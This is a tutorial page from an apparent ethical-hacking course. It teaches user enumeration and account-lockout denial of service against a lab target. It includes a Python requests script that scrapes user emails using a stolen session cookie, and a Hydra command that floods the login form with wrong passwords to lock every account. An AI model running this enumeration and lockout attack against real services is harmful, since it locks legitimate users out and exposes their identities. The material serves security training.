The Dark Side of Account Lockouts
When someone starts guessing passwords for a username, it is better to completely prevent logging in with the account than to allow the attacker to break into the account.
However, this also leads to vulnerability if the attacker knows the user's username, the attacker can lock the user out of the service, preventing the user from logging into the service themselves.
Exercise
The objective of this exercise is to lock each user account for every application. The steps are as follows:
- List all users of the application. A fancy term would be "enumerate" the users of the application. Enumeration typically refers to going through some aspect, such as users or potential attack surfaces, in cybersecurity incidents like this.
- Try to log in with each user with a wrong password a few times so that the account gets locked.
User Enumeration
The Python programming language and its requests module are extremely handy when it comes to creating small automations targeting HTTP services. Let's now create a small script that goes through the application's users and saves them to a file called users.txt.
The idea is that we first visit the page /users/1 and record the email address, then /users/2, and so on until no more users are found.
First, we need to answer two questions:
- What kind of HTTP request do we need to send to the /users/ address? It should be noted that this is an authenticated path, meaning a part of the application that cannot be accessed without logging in.
- How do we parse the address from an HTTP response?
The answers to both can be found by looking at the HTTP message in Burp.
GET /users/1 HTTP/2
Host: www-1hnms92pp0.ha-target.com
Cookie: session=.eJwlzjk...
...
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 6543
...
...
></path>
</svg>
melissa.wright@ha-target.com
</p>
</div>
</div>
...
In an HTTP request, there must be a cookie called session, and we can copy its value directly from the HTTP request.
In the response, there aren't really any clear signs from which we could, for example, grab an email address. So we resort to regex.
Regex
Regex, or "regular expressions", is a widely used language in programming and elsewhere, which purpose is to find something within the text.
Let's go deeper into regex in another course, but let's create one regex formula for this exercise. The formula to find an email from within the text is:
[a-z\.]+@ha-target.com
- [ and ] marks start and end a character class, which defines what kind of characters we are interested in. In this case, a-z means characters a, b, c, d... z, and \. means a period.
- In front of the dot, there is a backslash, which "escapes" the dot, which is normally a special character and means any character in regex. If you want it to mean only a dot, you put a backslash in front of it. The same applies to other special characters (such as those [ and ] characters).
- The plus sign that comes after the character class means "one or more". So, for example, the regex [abc123]+ would mean one or more characters that are either a, b, c, 1, 2, or 3. aaa1 would be a match. aba21 would be a match. Just a would be a match. However, an empty text would not be a match (because plus means one or more), and "lala" would not be a match because it contains characters that are not [abc123].
- @ha-target.com is just text.
- We are searching for text that follows the pattern "any small letters or dots, followed by @ha-target.com".
It is easy to practice and design regexes in the Regex101 service.
Code
Okay! Let's start coding. Open the attacker's code editor (found in the exercise link) and create a new file:
Name it something like "enumeroi.py":
Copy the following template to a file:
# Let's start by importing the modules we need.
# Requests is for HTTP calls, and re is for regex.
import requests
import re
# Replace the value of this variable with your own
# with your session ID. You can see it in the burp.
session_cookie = ".eJwl..."
# Replace this with the address of your own lab
lab_url = "https://www-1hnms92pp0.ha-target.com/"
# Regex formula to extract the e-mail from the text of the HTTP response
# In formulas, you should use Python "raw" string, i.e. put r
# in front of the text. Otherwise, you may run into problems when the \ you meant
# the dot to escape has already been escaped by Python, and it never will
# get all the way to the regex handler.
regex_pattern = r"[a-z\.]+@ha-target.com"
user_id = 1
emails = []
while True:
http_response = requests.get(lab_url + f"/users/{user_id}", cookies={"session": session_cookie})
if http_response.status_code != 200:
print("No more users.")
break # jump out of the while loop
response_body = http_response.text
for email in re.findall(regex_pattern, response_body):
print(f'[*] Found: {email}')
emails.append(email)
user_id += 1
with open('users.txt', 'w') as f:
f.write('\n'.join(emails))
print(f'[*] Wrote {len(emails)} emails to file users.txt')
Replace the URL-lab with the URL address and device with the correct session token (which you can see in Burp). Save (Ctrl + S / Command + S) the file and then open terminal:
Execute the script in the terminal as follows:
python3 ./enumerate.py
If everything goes smoothly, you should see something like this:
Lock
Well, the difficult phase is over! Now we can get back on familiar ground, because all you need to do is create a "passwords.txt" file and write some nonsense on six different lines (the sixth attempt locks up), but make sure each line contains different nonsense, so that Hydra doesn't try the same password again. Then you can start Hydra as in previous modules, using the users.txt file as the username file and passwords.txt as the password file. The setting for correct/incorrect (-S or -F) should be such that Hydra never finds the "correct" password, otherwise it might stop guessing too early.
Hydra -L users.txt -P passwords.txt www-1hnms92pp0.ha-target.com https-post-form "/login:email=^USER^&password=^PASS^:S=asdpoksda"
If everything goes well, all user accounts in the application will be locked in about a minute. You can track the progress from the login page:
If the lab doesn't pass completely on the first run, it may be that it hasn't withstood the traffic sent by Hydra and as a result, dropped some HTTP requests. In such a case, simply rerun the attack.
Ready to become an ethical hacker?
Start today.
As a member of Hakatemia you get unlimited access to Hakatemia modules, exercises and tools, and you get access to the Hakatemia Discord channel where you can ask for help from both instructors and other Hakatemia members.